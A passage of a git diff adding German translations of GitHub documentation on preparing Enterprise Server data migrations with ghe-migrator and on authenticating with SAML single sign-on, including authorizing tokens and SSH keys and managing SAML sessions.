+{% data reusables.enterprise_migrations.unlocking-on-instances %}
diff --git a/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
new file mode 100644
index 0000000000..e8741afca7
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
@@ -0,0 +1,154 @@
+---
+title: Vorbereiten der Migration von Daten zu deinem Unternehmen
+intro: 'Nachdem du ein Migrationsarchiv generiert hast, kannst du die Daten auf deine {% data variables.product.prodname_ghe_server %}-Zielinstanz importieren. Du kannst die Änderungen auf potenzielle Konflikte überprüfen, bevor du die Änderungen dauerhaft auf deine Zielinstanz anwendest.'
+redirect_from:
+  - /enterprise/admin/migrations/preparing-the-migrated-data-for-import-to-github-enterprise-server
+  - /enterprise/admin/migrations/generating-a-list-of-migration-conflicts
+  - /enterprise/admin/migrations/reviewing-migration-conflicts
+  - /enterprise/admin/migrations/resolving-migration-conflicts-or-setting-up-custom-mappings
+  - /enterprise/admin/guides/migrations/preparing-the-migrated-data-for-import-to-github-enterprise
+  - /enterprise/admin/user-management/preparing-to-migrate-data-to-your-enterprise
+  - /admin/user-management/preparing-to-migrate-data-to-your-enterprise
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Migration
+shortTitle: Prepare to migrate data
+ms.openlocfilehash: 7b552f2bc0d79eb1a70a09d61b8384983b0908fc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145104692'
+---
+## Vorbereiten der migrierten Daten für den Import in {% data variables.product.prodname_ghe_server %}
+
+1. Kopiere mithilfe des [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp)-Befehls das Migrationsarchiv, das über deine Quellinstanz oder Organisation generiert wurde, in dein {% data variables.product.prodname_ghe_server %}-Ziel:
+
+    ```shell
+    $ scp -P 122 <em>/path/to/archive/MIGRATION_GUID.tar.gz</em> admin@<em>hostname</em>:/home/admin/
+    ```
+
+{% data reusables.enterprise_installation.ssh-into-target-instance %}
+
+3. Führe den Befehl `ghe-migrator prepare` aus, um das Archiv für den Import auf der Zielinstanz vorzubereiten, und generiere eine neue Migrations-GUID, die du in den nachfolgenden Schritten verwendest:
+
+    ```shell
+    ghe-migrator prepare /home/admin/<em>MIGRATION_GUID</em>.tar.gz
+    ```
+
+    * Führe `ghe-migrator prepare` erneut aus, und rufe eine neue Migrations-GUID ab, um einen neuen Importversuch zu starten.
+    * {% data reusables.enterprise_migrations.specify-staging-path %}
+
+## Liste mit Migrationskonflikten generieren
+
+1. Verwende den `ghe-migrator conflicts`-Befehl mit der Migrations-GUID, um eine *conflicts.csv*-Datei zu generieren:
+    ```shell
+    $ ghe-migrator conflicts -g <em>MIGRATION_GUID</em> > conflicts.csv
+    ```
+    - Wenn keine Konflikte gemeldet werden, kannst du die Daten sicher importieren, indem du die Schritte unter [Migrieren von Daten zu deinem Unternehmen](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server/) ausführst.
+2. Verwende bei Konflikten den [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp)-Befehl, um *conflicts.csv* auf deinen lokalen Computer zu kopieren:
+  ```shell
+  $ scp -P 122 admin@<em>hostname</em>:conflicts.csv ~/Desktop
+  ```
+3. Fahre mit [Beheben von Migrationskonflikten oder Einrichten benutzerdefinierter Zuordnungen](#resolving-migration-conflicts-or-setting-up-custom-mappings) fort.
+
+## Migrationskonflikte überprüfen
+
+1. Öffne *conflicts.csv* mit einem Text-Editor oder einer [CSV-kompatiblen Tabellensoftware](https://en.wikipedia.org/wiki/Comma-separated_values#Application_support).
+2. Überprüfe die Datei *conflicts.csv*, um sicherzustellen, dass beim Import die richtigen Aktionen ausgeführt werden. Berücksichtige dabei die Anleitung für die folgenden Beispiele und Verweistabellen.
+
+Die *conflicts.csv*-Datei enthält eine *Migrationszuordnung* von Konflikten und empfohlenen Aktionen. Eine Migrationszuordnung listet auf, welche Daten von der Quellinstanz migriert werden und wie die Daten auf die Zielinstanz angewendet werden.
+
+| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
+|--------------|--------------|------------|--------------------|
+| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map` |
+| `organization` | `https://example-gh.source/octo-org` | `https://example-gh.target/octo-org` | `map` |
+| `repository`   | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/widgets` | `rename` |
+| `team`         | `https://example-gh.source/orgs/octo-org/teams/admins` | `https://example-gh.target/orgs/octo-org/teams/admins` | `merge` |
+
+Jede Zeile in *conflicts.csv* bietet die folgenden Informationen:
+
+|    Name      | BESCHREIBUNG   |
+|--------------|---------------|
+| `model_name` | Der Typ der zu ändernden Daten. |
+| `source_url` | Die Quell-URL der Daten. |
+| `target_url` | Die erwartete Ziel-URL der Daten.  |
+| `recommended_action` | Bevorzugte Aktion, die `ghe-migrator` beim Importieren von Daten ausführt  |
+
+### Mögliche Zuordnungen für jeden Datensatztyp
+
+Es gibt einige verschiedene Zuordnungsaktionen, die `ghe-migrator` beim Übertragen von Daten ausführen kann:
+
+| `action`      | BESCHREIBUNG | Entsprechende Modelle |
+|------------------------|-------------|-------------------|
+| `import`      | (Standard) Daten von der Quellinstanz werden auf die Zielinstanz importiert. | Alle Datensatztypen
+| `map`         | Daten von der Quellinstanz werden durch vorhandene Daten auf der Zielinstanz ersetzt. | Benutzer, Organisationen, Repositorys
+| `rename`      | Daten von der Quellinstanz werden umbenannt und anschließend auf die Zielinstanz kopiert. | Benutzer, Organisationen, Repositorys
+| `map_or_rename` | Bei Vorhandensein der Zielinstanz sollte die Zuordnung zur Zielinstanz erfolgen. Andernfalls sollte das importierte Modell umbenannt werden. | Benutzer
+| `merge`       | Daten von der Quellinstanz werden mit vorhandenen Daten auf der Zielinstanz kombiniert. | Teams
+
+**Es wird dringend empfohlen, die *conflicts.csv*-Datei zu überprüfen und [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data) zu verwenden, um sicherzustellen, dass die geeigneten Aktionen ausgeführt werden.** Wenn keine Probleme vorliegen, kannst du mit [Migrieren von Daten zu deinem Unternehmen](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server) fortfahren.
+
+
+## Migrationskonflikte beheben und benutzerdefinierte Zuordnungen einrichten
+
+Wenn du der Meinung bist, dass `ghe-migrator` eine nicht ordnungsgemäße Änderung vornimmt, kannst du Korrekturen vornehmen, indem du die Daten in *conflicts.csv* änderst. Du kannst an allen Zeilen in *conflicts.csv* Änderungen vornehmen.
+
+Angenommen, du bemerkst, dass der Benutzer `octocat` aus der Quelle `octocat` im Ziel zugeordnet wird:
+
+| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
+|--------------|--------------|------------|--------------------|
+| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map`
+
+Du kannst den Benutzer einem anderen Benutzer auf der Zielinstanz zuordnen. Angenommen, du weißt, dass `octocat` im Ziel eigentlich `monalisa` sein sollte. Du kannst die `target_url`-Spalte in *conflicts.csv* so ändern, dass auf `monalisa` verwiesen wird:
+
+| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
+|--------------|--------------|------------|--------------------|
+| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `map`
+
+Weiteres Beispiel: Wenn du das `octo-org/widgets`-Repository in `octo-org/amazing-widgets` in der Zielinstanz umbenennen möchtest, ändere `target_url` in `octo-org/amazing-widgets` und `recommend_action` in `rename`:
+
+| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
+|--------------|--------------|------------|--------------------|
+| `repository`   | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/amazing-widgets` | `rename`   |
+
+### Benutzerdefinierte Zuordnungen hinzufügen
+
+Während einer Migration geschieht es häufig, dass migrierte Benutzer andere Benutzernamen auf der Zielinstanz als auf der Quellinstanz besitzen.
+
+Mit einer Liste der Benutzernamen von der Quellinstanz und einer Liste der Benutzernamen von der Zielinstanz kannst du eine CSV-Datei mit benutzerdefinierten Zuordnungen erstellen und anschließend anwenden, um sicherzustellen, dass der Benutzername und Inhalt jedes Benutzers am Ende einer Migration richtig zugeordnet werden.
+
+Du kannst schnell eine CSV-Datei der migrierten Benutzer*innen im CSV-Format erstellen, die erforderlich ist, um benutzerdefinierte Zuordnungen mithilfe des [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data)-Befehls anzuwenden:
+
+```shell
+$ ghe-migrator audit -m user -g <em>MIGRATION_GUID</em> > users.csv
+```
+
+Nun kannst du diese CSV-Datei bearbeiten und die neue URL für jede*n Benutzer*in eingeben, die du zuordnen oder umbenennen möchtest. Aktualisiere dann die vierte Spalte, damit `map` bzw. `rename` entsprechend vorliegt.
+
+Um beispielsweise den Benutzer `octocat` in `monalisa` im Ziel `https://example-gh.target` umzubenennen, erstelle eine Zeile mit dem folgenden Inhalt:
+
+| `model_name`   | `source_url`   | `target_url` | `state` |
+|--------------|--------------|------------|--------------------|
+| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `rename`
+
+Mit demselben Prozess kannst du Zuordnungen für jeden Datensatz erstellen, der benutzerdefinierte Zuordnungen unterstützt. Weitere Informationen findest du in der [Tabelle zu möglichen Zuordnungen für Datensätze](/enterprise/admin/guides/migrations/reviewing-migration-conflicts#possible-mappings-for-each-record-type).
+
+### Geänderte Migrationsdaten anwenden
+
+1. Nachdem du Änderungen vorgenommen hast, verwende den Befehl [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp), um deine bearbeitete *conflicts.csv*-Datei (oder eine beliebige andere *.csv*-Zuordnungsdatei im richtigen Format) auf die Zielinstanz anzuwenden:
+
+    ```shell
+    $ scp -P 122 ~/Desktop/conflicts.csv admin@<em>hostname</em>:/home/admin/
+    ```
+
+2. Ordne die Migrationsdaten mithilfe des `ghe-migrator map`-Befehls neu zu. Übergib dazu den Pfad zu deiner bearbeiteten *.csv*-Datei und die Migrations-GUID:
+
+    ```shell
+    $ ghe-migrator map -i conflicts.csv  -g <em>MIGRATION_GUID</em>
+    ```
+
+3. Wenn der `ghe-migrator map -i conflicts.csv  -g MIGRATION_GUID`-Befehl berichtet, dass noch immer Konflikte bestehen, führe den Vorgang zum Beheben von Migrationskonflikten erneut durch.
diff --git a/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md b/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md
new file mode 100644
index 0000000000..071f7816aa
--- /dev/null
+++ b/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md
@@ -0,0 +1,77 @@
+---
+title: Informationen zur Authentifizierung mit SAML Single Sign-On
+intro: 'Du kannst auf {% ifversion ghae %}{% data variables.location.product_location %}{% elsif ghec %}eine Organisation zugreifen, die SAM Single Sign-On (SSO) verwendet,{% endif %} indem du dich {% ifversion ghae %}mit SAML Single Sign-On (SSO) {% endif %}über einen Identitätsanbieter (IdP) authentifizierst.'
+redirect_from:
+  - /articles/about-authentication-with-saml-single-sign-on
+  - /github/authenticating-to-github/about-authentication-with-saml-single-sign-on
+  - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on
+versions:
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSO
+shortTitle: SAML single sign-on
+ms.openlocfilehash: 827db3181f742916ba4fdeefd92f25c196c28188
+ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148111513'
+---
+## Informationen zur Authentifizierung mit SAML-SSO
+
+{% ifversion ghae %}
+
+SAML SSO ermöglicht es einem Unternehmensbesitzer, den Zugriff auf {% data variables.product.product_name %} über einen SAML-IdP zentral zu steuern und zu sichern. Wenn du {% data variables.location.product_location %} in einem Browser aufrufst, leitet {% data variables.product.product_name %} dich an deinen IdP um, um dich zu authentifizieren. Nachdem du dich erfolgreich mit einem Konto beim IdP authentifiziert hast, wirst du von diesem wieder an {% data variables.location.product_location %} geleitet. {% data variables.product.product_name %} überprüft die Antwort deines IdP und gewährt dann Zugriff.
+
+{% data reusables.saml.you-must-periodically-authenticate %}
+
+Wenn du nicht auf {% data variables.product.product_name %} zugreifen kannst, wende dich an deinen lokalen Unternehmensbesitzer oder den Administrator für {% data variables.product.product_name %}. Kontaktinformationen zu deinem Unternehmen findest du gegebenenfalls, indem du unten auf einer beliebigen Seite von {% data variables.product.product_name %} auf **Support** klickst. {% data variables.product.company_short %} und {% data variables.contact.github_support %} haben keinen Zugriff auf deinen IdP und können keine Authentifizierungsprobleme beheben. 
+
+{% endif %}
+
+{% ifversion ghec %}
+
+{% data reusables.saml.dotcom-saml-explanation %} Organisationsbesitzer können dein Benutzerkonto auf {% data variables.product.prodname_dotcom %} einladen, ihrer SAML SSO benutzenden Organisation beizutreten. Das erlaubt dir, Beiträge zur Organisation zu leisten und deine bestehende Identität und Beiträge auf {% data variables.product.prodname_dotcom %} zu behalten.
+
+Wenn du Mitglied eines {% data variables.enterprise.prodname_emu_enterprise %} bist, verwendest du stattdessen ein neues Konto, das für dich bereitgestellt und von deinem Unternehmen gesteuert wird. {% data reusables.enterprise-accounts.emu-more-info-account %}
+
+Wenn du auf Ressourcen innerhalb einer Organisation zugreifst, die SAML SSO verwendet, leitet {% data variables.product.prodname_dotcom %} dich in den meisten Fällen zur Authentifizierung an den SAML-Identitätsanbieter (IdP) der Organisation weiter. Nachdem du dich erfolgreich mit deinem Konto auf dem IdP authentifiziert hast, leitet dich der IdP zurück zu {% data variables.product.prodname_dotcom %}, wo du dann auf die Ressourcen der Organisation zugreifen kannst.
+
+{% data reusables.saml.resources-without-sso %}
+
+{% data reusables.saml.outside-collaborators-exemption %}
+
+Wenn du dich kürzlich mit dem SAML-IdP deiner Organisation in deinem Browser authentifiziert hast, wirst du automatisch autorisiert, wenn du auf eine {% data variables.product.prodname_dotcom %}-Organisation zugreifst, die SAML SSO verwendet. Wenn du dich nicht kürzlich mit dem SAML-IdP deiner Organisation in deinem Browser authentifiziert hast, musst du dich beim SAML-IdP authentifizieren, bevor du auf die Organisation zugreifen kannst.
+
+{% data reusables.saml.you-must-periodically-authenticate %}
+
+## Verknüpfte SAML-Identitäten
+
+Wenn du dich mit deinem IdP-Konto authentifizierst und zu {% data variables.product.prodname_dotcom %} zurückkehrst, zeichnet {% data variables.product.prodname_dotcom %} eine Verknüpfung in der Organisation oder im Unternehmen zwischen deinem persönlichen {% data variables.product.prodname_dotcom %}-Konto und der SAML-Identität, bei der du dich angemeldet hast, auf.  Diese verknüpfte Identität wird verwendet, um deine Mitgliedschaft in der betreffenden Organisation zu überprüfen und (je nach Organisations- oder Unternehmenssetup) zu bestimmen, bei welchen Organisationen und Teams du ebenfalls Mitglied bist. Jedes {% data variables.product.prodname_dotcom %}-Konto kann mit genau einer SAML-Identität pro Organisation verknüpft werden. Ebenso kann jede SAML-Identität mit genau einem {% data variables.product.prodname_dotcom %}-Konto in einer Organisation verknüpft werden. 
+
+Wenn du dich mit einer SAML-Identität anmeldest, die bereits mit einem anderen {% data variables.product.prodname_dotcom %}-Konto verknüpft ist, erhältst du eine Fehlermeldung, die angibt, dass du dich nicht mit dieser SAML-Identität anmelden kannst. Diese Situation kann eintreten, wenn du versuchst, ein neues {% data variables.product.prodname_dotcom %}-Konto zum Arbeiten in deiner Organisation zu verwenden. Wenn du diese SAML-Identität nicht mit dem betreffenden {% data variables.product.prodname_dotcom %}-Konto verwenden möchtest, musst du dich von dieser SAML-Identität abmelden und die SAML-Anmeldung dann wiederholen. Wenn du diese SAML-Identität mit deinem {% data variables.product.prodname_dotcom %}-Konto verwenden möchtest, musst du deine*n Administrator*in bitten, deine SAML-Identität von deinem alten Konto zu trennen, damit du sie mit deinem neuen Konto verknüpfen kannst.  Je nach Setup deiner Organisation oder deines Unternehmens muss dein*e Administrator*in möglicherweise auch deine Identität innerhalb deines SAML-Anbieters neu zuweisen.  Weitere Informationen findest du unter [Anzeigen und Verwalten des SAML-Zugriffs eines Mitglieds auf deine Organisation](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity).
+
+Wenn die SAML-Identität, mit der du dich anmeldest, nicht mit der SAML-Identität übereinstimmt, die derzeit mit deinem {% data variables.product.prodname_dotcom %}-Konto verknüpft ist, erhältst du eine Warnung, dass du im Begriff bist, dein Konto neu zu verknüpfen. Da deine SAML-Identität verwendet wird, um den Zugriff und die Teammitgliedschaft zu steuern, kann das Fortsetzen der neuen SAML-Identität dazu führen, dass du den Zugriff auf Teams und Organisationen innerhalb von {% data variables.product.prodname_dotcom %} verlierst. Fahre nur fort, wenn du weißt, dass du in Zukunft diese neue SAML-Identität für die Authentifizierung verwenden sollst. 
+
+## Autorisieren von {% data variables.product.pat_generic %} und SSH-Schlüsseln mit SAML SSO
+
+Um die API oder Git in der Befehlszeile für den Zugriff auf geschützte Inhalte in einer Organisation mit SAML SSO zu verwenden, musst du ein autorisiertes {% data variables.product.pat_generic %} über HTTPS oder einen autorisierten SSH-Schlüssel verwenden.
+
+Wenn du kein {% data variables.product.pat_generic %} oder keinen SSH-Schlüssel hast, kannst du ein {% data variables.product.pat_generic %} für die Befehlszeile erstellen oder einen neuen SSH-Schlüssel generieren. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token) oder [Generieren und Hinzufügen eines neuen SSH-Schlüssels zu ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent).
+
+Um ein neues oder vorhandenes {% data variables.product.pat_generic %} oder einen SSH-Schlüssel in einer Organisation zu verwenden, die SAML SSO verwendet oder erzwingt, musst du das Token autorisieren oder den SSH-Schlüssel für die Verwendung bei einer SAML SSO-Organisation autorisieren. Weitere Informationen findest du unter [Autorisieren eines {% data variables.product.pat_generic %} für die Verwendung mit SAML Single Sign-On](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) oder [Autorisieren eines SSH-Schlüssels für die Verwendung mit SAML Single Sign-On](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on).
+
+## Informationen zu {% data variables.product.prodname_oauth_apps %}, {% data variables.product.prodname_github_apps %} und SAML SSO
+
+Du musst jedes Mal eine aktive SAML-Sitzung haben, wenn du eine {% data variables.product.prodname_oauth_app %} oder {% data variables.product.prodname_github_app %} autorisierst, um auf eine Organisation zuzugreifen, die SAML SSO verwendet oder erzwingt. Du kannst eine aktive SAML-Sitzung erstellen, indem du in deinem Browser zu `https://github.com/orgs/ORGANIZATION-NAME/sso` navigierst.
+
+Nachdem ein Unternehmens- oder Organisationsbesitzer SAML-SSO für eine Organisation aktiviert oder erzwingt und du dich erstmals über SAML authentifiziert hast, musst du alle {% data variables.product.prodname_oauth_apps %} oder {% data variables.product.prodname_github_apps %}, die du zuvor für den Zugriff auf die Organisation autorisiert hast, erneut autorisieren. 
+
+Um die {% data variables.product.prodname_oauth_apps %} anzuzeigen, die du autorisiert hast, besuche deine [{% data variables.product.prodname_oauth_apps %}-Seite](https://github.com/settings/applications). Um die {% data variables.product.prodname_github_apps %} anzuzeigen, die du autorisiert hast, besuche deine [{% data variables.product.prodname_github_apps %}-Seite](https://github.com/settings/apps/authorizations).
+
+{% endif %}
+
+## Weiterführende Themen
+
+{% ifversion ghec %}- „[Informationen zum Identitäts- und Zugriffsmanagement mit SAML Single Sign-On](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)“{% endif %} {% ifversion ghae %}- „[Informationen zur Identitäts- und Zugriffsverwaltung für dein Unternehmen](/admin/authentication/about-identity-and-access-management-for-your-enterprise)“{% endif %}
diff --git a/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md b/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
new file mode 100644
index 0000000000..cc1537e412
--- /dev/null
+++ b/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
@@ -0,0 +1,33 @@
+---
+title: Authorizing a personal access token for use with SAML single sign-on
+intro: 'To use a {% data variables.product.pat_v1 %} with an organization that uses SAML single sign-on (SSO), you must first authorize the token.'
+redirect_from:
+  - /articles/authorizing-a-personal-access-token-for-use-with-a-saml-single-sign-on-organization
+  - /articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
+  - /github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
+  - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
+versions:
+  ghec: '*'
+topics:
+  - SSO
+shortTitle: '{% data variables.product.pat_generic_caps %} with SAML'
+---
+You must authorize your {% data variables.product.pat_v1 %} after creation before the token can access an organization that uses SAML single sign-on (SSO). For more information about creating a new {% data variables.product.pat_v1 %}, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."{% ifversion pat-v2 %} {% data variables.product.pat_v2_caps %}s are authorized during token creation, before access to the organization is granted.{% endif %}
+
+{% data reusables.saml.must-authorize-linked-identity %}
+
+{% data reusables.saml.authorized-creds-info %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.personal_access_tokens %}
+3. Next to the token you'd like to authorize, click **Configure SSO**. {% data reusables.saml.authenticate-with-saml-at-least-once %}
+
+   ![Screenshot of the dropdown menu to configure SSO for a {% data variables.product.pat_v1 %}](/assets/images/help/settings/sso-allowlist-button.png)
+4. To the right of the organization you'd like to authorize the token for, click **Authorize**.
+   ![Token authorize button](/assets/images/help/settings/token-authorize-button.png)
+
+## Further reading
+
+- "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)"
+- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md b/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
new file mode 100644
index 0000000000..06c4f1baf5
--- /dev/null
+++ b/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
@@ -0,0 +1,39 @@
+---
+title: Authorizing an SSH key for use with SAML single sign-on
+intro: 'To use an SSH key with an organization that uses SAML single sign-on (SSO), you must first authorize the key.'
+redirect_from:
+  - /articles/authorizing-an-ssh-key-for-use-with-a-saml-single-sign-on-organization
+  - /articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on
+  - /github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on
+  - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on
+versions:
+  ghec: '*'
+topics:
+  - SSO
+shortTitle: SSH Key with SAML
+---
+You can authorize an existing SSH key, or create a new SSH key and then authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+
+{% data reusables.saml.must-authorize-linked-identity %}
+
+{% data reusables.saml.authorized-creds-info %}
+
+{% note %}
+
+**Note:** If your SSH key authorization is revoked by an organization, you will not be able to reauthorize the same key. You will need to create a new SSH key and authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+
+{% endnote %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.ssh %}
+1. To the right of the SSH key you'd like to authorize, click **Configure SSO**. {% data reusables.saml.authenticate-with-saml-at-least-once %}
+
+   ![Screenshot of the SSO token authorize button](/assets/images/help/settings/ssh-sso-button.png)
+1. To the right of the organization you'd like to authorize the SSH key for, click **Authorize**.
+
+   ![Screenshot of the token authorize button](/assets/images/help/settings/ssh-sso-authorize.png)
+
+## Further reading
+
+- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)"
+- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/index.md b/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/index.md
new file mode 100644
index 0000000000..c5465cbacb
--- /dev/null
+++ b/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/index.md
@@ -0,0 +1,27 @@
+---
+title: Authentifizierung mit SAML Single Sign-On
+intro: 'Du kannst dich mit SAML Single Sign-On (SSO){% ifversion ghec %} bei {% data variables.product.product_name %} authentifizieren und deine aktiven Sitzungen anzeigen.{% endif %}'
+redirect_from:
+  - /articles/authenticating-to-a-github-organization-with-saml-single-sign-on
+  - /articles/authenticating-with-saml-single-sign-on
+  - /github/authenticating-to-github/authenticating-with-saml-single-sign-on
+  - /authentication/authenticating-with-saml-single-sign-on
+versions:
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSO
+children:
+  - /about-authentication-with-saml-single-sign-on
+  - /authorizing-an-ssh-key-for-use-with-saml-single-sign-on
+  - /authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
+  - /viewing-and-managing-your-active-saml-sessions
+shortTitle: Authenticate with SAML
+ms.openlocfilehash: d4d193e64deb534ae5ee7d395d78cb5fa810590b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145104668'
+---
+
diff --git a/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md b/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
new file mode 100644
index 0000000000..cf62edb6c3
--- /dev/null
+++ b/translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
@@ -0,0 +1,39 @@
+---
+title: Viewing and managing your active SAML sessions
+intro: You can view and revoke your active SAML sessions in your settings.
+redirect_from:
+  - /articles/viewing-and-managing-your-active-saml-sessions
+  - /github/authenticating-to-github/viewing-and-managing-your-active-saml-sessions
+  - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions
+versions:
+  ghec: '*'
+topics:
+  - SSO
+type: how_to
+shortTitle: Active SAML sessions
+---
+
+You can view a list of devices that have logged into your account, and revoke any SAML sessions that you don't recognize.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.sessions %}
+1. Under "Web sessions," you can see your active SAML sessions.
+
+   ![Screenshot of the list of active SAML sessions](/assets/images/help/settings/saml-active-sessions.png)
+
+1. To see the session details, click **See more**.
+   ![Screenshot of the active SAML sessions with the button to open SAML session details emphasized](/assets/images/help/settings/saml-expand-session-details.png)
+
+1. To revoke a session, click **Revoke SAML**.
+
+   ![Screenshot of the Session details page with the button to revoke a SAML session emphasized](/assets/images/help/settings/saml-revoke-session.png)
+
+  {% note %}
+
+  **Note:** When you revoke a session, you remove your SAML authentication to that organization. To access the organization again, you will need to single sign-on through your identity provider. For more information, see "[About authentication with SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."
+
+  {% endnote %}
+
+## Further reading
+
+- "[About authentication with SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/de-DE/content/authentication/connecting-to-github-with-ssh/about-ssh.md b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/about-ssh.md
new file mode 100644
index 0000000000..76517316eb
--- /dev/null
+++ b/translations/de-DE/content/authentication/connecting-to-github-with-ssh/about-ssh.md
@@ -0,0 +1,40 @@
+---
+title: Informationen zur SSH
+intro: 'Mithilfe des SSH-Protokolls kannst du eine Verbindung herstellen und dich bei Remoteservern und -diensten authentifizieren. Mit SSH-Schlüsseln kannst du dich mit {% data variables.product.product_name %} verbinden, ohne bei jedem Besuch deinen Benutzernamen und {% data variables.product.pat_generic %} eingeben zu müssen.{% ifversion ssh-commit-verification %} Du kannst einen SSH-Schlüssel auch zum Signieren von Commits verwenden.{% endif %}'
+redirect_from:
+  - /articles/about-ssh
+  - /github/authenticating-to-github/about-ssh
+  - /github/authenticating-to-github/connecting-to-github-with-ssh/about-ssh
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+ms.openlocfilehash: 51a72821217e5d47092ed77e923b38f4cf248010
+ms.sourcegitcommit: a0ad3bfe2a99c3092e76ca9b3d476cf30988ca55
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/28/2022
+ms.locfileid: '148118979'
+---
